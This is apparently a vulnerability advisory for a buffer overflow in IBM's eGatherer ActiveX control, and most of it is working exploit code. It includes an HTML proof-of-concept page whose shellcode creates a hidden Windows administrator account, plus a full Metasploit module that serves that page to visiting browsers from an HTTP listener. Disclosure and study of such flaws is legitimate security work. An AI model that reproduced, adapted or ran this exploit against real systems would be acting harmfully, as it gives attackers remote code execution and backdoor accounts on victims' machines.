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IBM eGatherer ActiveX Code Execution (PoC, Exploit)
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SUMMARY
eGatherer ActiveX control is typically installed by default on IBM
workstations and laptops, and is used by default for auto-finding
drivers/updates on IBM's/Lenovo's support site.
A security vulnerability exists in IBM's eGatherer ActiveX control.
DETAILS
Proof of concept:
<html>
<!--
[ISR] Infobyte Security Research
www.infobyte.com.ar
PoC IBM eGatherer Active
Author: Francisco Amato
-->
<head>
<title>IBM&ISS congratulation</title>
</head>
<object classid='clsid:74FFE28D-2378-11D5-990C-006094235084'
id='notCompromising'></object>
<script>
var buff="";
for (i=0;i<260;i++) buff=buff+unescape("%90"); //padding
//75041111 .data WS2_32.DLL
buff=buff+unescape("%11%11%04%75"); //.data
buff=buff+unescape("%11%11%04%75"); //.data
for (i=0;i<12;i++) buff=buff+unescape("%90"); //padding
//7CE4F8A6 CALL ESP ole32.dll
buff=buff+unescape("%b6%e1%e8%7c"); //write eip
buff=buff+unescape("%b6%e1%e8%7c"); //write eip
for (i=0;i<80;i++) buff=buff+unescape("%90"); //padding
//JMP safe ? shellcode
buff=buff+unescape("%E9%FD%FA%FF%FF"); //adduser
for (i=0;i<80;i++) buff=buff+unescape("%90"); //padding
//shellcode adduser shellcode user:hax0r pass:vete
buff=buff+unescape("%31%c9%66%b9%30%72%51%68%20%68%61%78%68%2f%41%44
%44%68%72%65%73%20%68%72%61%64%6f%68%6e%69%73%74%68%41%64%6d%69
%68%6f%75%70%20%68%61%6c%67%72%68%20%6c%6f%63%68%20%6e%65%74%68%44
%20%26%26%68%20%2f%41%44%68%76%65%74%65%68%78%30%72%20%68%72%20
%68%61%68%20%75%73%65%68%20%6e%65%74%68%65%20%2f%63%68%64%2e%65
%78%68%41%41%63%6d%31%c0%50%31%c0%8d%4c%24%06%51%bb%fa%74%59%7c
%ff%d3%31%c0%50%bb%be%69%47%79%ff%d3");
for (i=0;i<50;i++)buff=buff+unescape("%90"); //shit
var comp = document.getElementById('notCompromising');
comp.RunEgatherer(buff);
</script>
</body>
</html>
Metasploit module:
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::ibm_egatherer;
use strict;
use base "Msf::Exploit";
use Pex::Text;
use Msf::Encoder;
use IO::Socket::INET;
use IPC::Open3;
my $advanced =
{
};
my $info =
{
'Name' => 'IBM eGatherer ActiveX Code Execution Vulnerability',
'Version' => '$Revision: 1 $',
'Authors' =>
[
'Francisco Amato <famato [at] infobyte.com.ar> [ISR]
www.infobyte.com.ar',
],
'Description' =>
Pex::Text::Freeform(qq{
This module exploits a code execution vulnerability in the IBM
eGatherer ActiveX buffer overflow.
}),
'Arch' => [ 'x86' ],
'OS' => ['win32', 'win2000' ],
'Priv' => 0,
'UserOpts' =>
{
'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080 ],
'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
},
'AutoOpts' =>
{
'GETPCTYPE' => 'ebx'
},
'Payload' =>
{
'Space' => 700,
'BadChars' =>
"\x00\x88\x8e\x89\x83\x96\x98\x91\x80\x9f\x93\x97\x8c\x99\x9c\x9b\x92", #
data is downcased
'Keys' => ['+alphanum'],
},
'Refs' =>
[
['OSVDB', '27976'],
['CVE', 'CVE-2006-4221'],
['BID', '19554'],
['URL',
'http://research.eeye.com/html/advisories/published/AD20060816.html'],
],
'DefaultTarget' => 0,
'Targets' =>
[
[ 'Windows 2000 SP4 English version', 0x75041111, 0x7CE8E1B6 ]
# [ 'Windows 2000 SP4 English version', 0x41414141, 0x7CE8E1B6 ] test
# 75032DB6
#//7CE8E1B6 CALL ole32.dll
#//75041111 .data WS2_32.DLL
],
'Keys' => [ 'ibm' ],
'DisclosureDate' => 'Aug 16 2006',
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced},
@_);
return($self);
}
sub Exploit
{
my $self = shift;
my $server = IO::Socket::INET->new(
LocalHost => $self->GetVar('HTTPHOST'),
LocalPort => $self->GetVar('HTTPPORT'),
ReuseAddr => 1,
Listen => 1,
Proto => 'tcp'
);
my $client;
# Did the listener create fail?
if (not defined($server)) {
$self->PrintLine("[-] Failed to create local HTTP listener on " .
$self->GetVar('HTTPPORT'));
return;
}
my $httphost = ($self->GetVar('HTTPHOST') eq '0.0.0.0') ?
Pex::Utils::SourceIP('1.2.3.4') :
$self->GetVar('HTTPHOST');
$self->PrintLine("[*] Waiting for connections to http://";. $httphost
":". $self->GetVar('HTTPPORT') ."/");
while (defined($client = $server->accept())) {
$self->HandleHttpClient(Msf::Socket::Tcp->new_from_socket($client));
}
return;
}
sub HandleHttpClient
{
my $self = shift;
my $fd = shift;
# Set the remote host information
my ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);
# Read the HTTP command
my ($cmd, $url, $proto) = split(/ /, $fd->RecvLine(10), 3);
my $agent;
# Read in the HTTP headers
while ((my $line = $fd->RecvLine(10))) {
$line =~ s/^\s+|\s+$//g;
my ($var, $val) = split(/\:/, $line, 2);
# Break out if we reach the end of the headers
last if (not defined($var) or not defined($val));
$agent = $val if $var =~ /User-Agent/i;
}
my $os = 'Unknown';
my $vl = ($agent =~ m/Windows/) ? 'Vulnerable' : 'Not Vulnerable';
$os = 'Linux' if $agent =~ /Linux/i;
$os = 'Mac OS X' if $agent =~ /OS X/i;
$os = 'Windows' if $agent =~ /Windows/i;
$self->PrintLine("[*] Client connected from $rhost:$rport ($os/$vl).");
if ($os ne 'Windows') {
$self->PrintLine("[*] Invalid target for this exploit, trying
anyways...");
} else {
$self->PrintLine("[*] Sending payload and waiting for execution...");
}
my $res = $fd->Send($self->BuildResponse($self->GenerateHTML()));
$fd->Close();
}
sub JSUnescape2 {
#TODO: add to Pex:Utils:JSUnescape like type of mode
my $data = shift;
my $mode = shift() || 'LE';
my $code = '';
# Encode the shellcode via %u sequences for JS's unescape()
function
my $idx = 0;
# Pad to an even number of bytes
if (length($data) % 2 != 0) {
$data .= substr($data, -1, 1);
}
while ($idx < length($data) - 1) {
my $c1 = ord(substr($data, $idx, 1));
my $c2 = ord(substr($data, $idx+1, 1));
if ($mode eq 'LE') {
$code .= sprintf('%%%.2x%%%.2x', $c2, $c1);
} else {
$code .= sprintf('%%%.2x%%%.2x', $c1, $c2);
}
$idx += 2;
}
return $code;
}
sub GenerateHTML {
my $self = shift;
my $target = $self->Targets->[$self->GetVar('TARGET')];
my $shellcode = JSUnescape2($self->GetVar('EncodedPayload')->Payload,
'RE');
my $offsetdata = JSUnescape2(pack('V', $target->[1]),'R');
my $offsetesp = JSUnescape2(pack('V', $target->[2]),'R');
#adduser, user: hax0r pass: vete
my $shellcode = '%31%c9%66%b9%30%72%51%68%20%68%61%78%68%2f%41%44%44%68
%72%65%73%20%68%72%61%64%6f%68%6e%69%73%74%68%41%64%6d%69%68%6f%75
%70%20%68%61%6c%67%72%68%20%6c%6f%63%68%20%6e%65%74%68%44%20%26%26
%68%20%2f%41%44%68%76%65%74%65%68%78%30%72%20%68%72%20%68%61%68%20
%75%73%65%68%20%6e%65%74%68%65%20%2f%63%68%64%2e%65%78%68%41%41%63
%6d%31%c0%50%31%c0%8d%4c%24%06%51%bb%fa%74%59%7c%ff%d3%31%c0%50%bb%be
%69%47%79%ff%d3';
#$self->PrintLine($shellcode2);
#my $shellcode = $shellcode2;
my $data = qq#
<html>
<head>
<title>IBM&ISS congratulation</title>
</head>
<object classid='clsid:74FFE28D-2378-11D5-990C-006094235084'
id='notCompromising'></object>
<script>
var buff="";
for (i=0;i<260;i++) buff=buff+unescape("%90"); //padding
//75041111 .data WS2_32.DLL
buff=buff+unescape("$offsetdata"); //.data
buff=buff+unescape("$offsetdata"); //.data
for (i=0;i<12;i++) buff=buff+unescape("%90"); //padding
//7CE4F8A6 CALL ESP ole32.dll
buff=buff+unescape("$offsetesp"); //write eip
buff=buff+unescape("$offsetesp"); //write eip
for (i=0;i<80;i++) buff=buff+unescape("%90"); //padding
//JMP safe ? shellcode
buff=buff+unescape("%E9%FD%FA%FF%FF"); //adduser
//buff=buff+unescape("%E9%2B%F8%FF%FF"); //size 500
//buff=buff+unescape("%E9%AF%F6%FF%FF"); //size 700
for (i=0;i<80;i++) buff=buff+unescape("%90"); //padding
//shellcode TODO: copy writeable memory
buff=buff+unescape("$shellcode");
for (i=0;i<50;i++)buff=buff+unescape("%90"); //shit
var comp = document.getElementById('notCompromising');
comp.RunEgatherer(buff);
//alert(buff);
</script>
</body>
</html>
#;
return $data;
}
sub BuildResponse {
my ($self, $content) = @_;
my $response =
"HTTP/1.1 200 OK\r\n" .
"Content-Type: text/html\r\n";
if ($self->GetVar('Gzip')) {
$response .= "Content-Encoding: gzip\r\n";
$content = $self->Gzip($content);
}
if ($self->GetVar('Chunked')) {
$response .= "Transfer-Encoding: chunked\r\n";
$content = $self->Chunk($content);
} else {
$response .= 'Content-Length: ' . length($content) . "\r\n" .
"Connection: close\r\n";
}
$response .= "\r\n" . $content;
return $response;
}
sub Chunk {
my ($self, $content) = @_;
my $chunked;
while (length($content)) {
my $chunk = substr($content, 0, int(rand(10) + 1), '');
$chunked .= sprintf('%x', length($chunk)) . "\r\n$chunk\r\n";
}
$chunked .= "0\r\n\r\n";
return $chunked;
}
sub Gzip {
my $self = shift;
my $data = shift;
my $comp = int(rand(5))+5;
my($wtr, $rdr, $err);
my $pid = open3($wtr, $rdr, $err, 'gzip', '-'.$comp, '-c', '--force');
print $wtr $data;
close ($wtr);
local $/;
return (<$rdr>);
}
1;
ADDITIONAL INFORMATION
The information has been provided by <mailto:famato@infobyte.com.ar>
Francisco Amato.
The original article can be found at:
<http://www.infobyte.com.ar/development.html>
http://www.infobyte.com.ar/development.html
Related article(s):
<http://www.securiteam.com/windowsntfocus/5BP0E20D5Q.html> IBM Access
Support (eGatherer) Activex Dangerous Methods Vulnerability
<http://www.securiteam.com/windowsntfocus/5QP0N0UJFI.html> IBM eGatherer
ActiveX Code Execution Vulnerability
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